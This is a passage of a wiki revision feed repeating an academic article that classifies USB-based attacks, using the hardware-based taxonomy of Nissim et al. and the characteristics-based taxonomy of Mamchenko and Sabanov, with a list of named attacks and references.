&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on their collection shown in the picture, they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 4;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16609</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16609"/>
		<updated>2024-12-02T22:41:13Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices [NYE17]. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks[MS19, NYE17].&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the hardware required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified [NYE17]. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
The following lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on their collection shown in the picture, they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 4;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16608</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16608"/>
		<updated>2024-12-02T22:37:38Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Categorization based on Attack Characteristics */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices [NYE17]. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks[MS19, NYE17].&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the hardware required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified [NYE17]. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
The following lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on their collection shown in the picture, they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 4;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
</feed>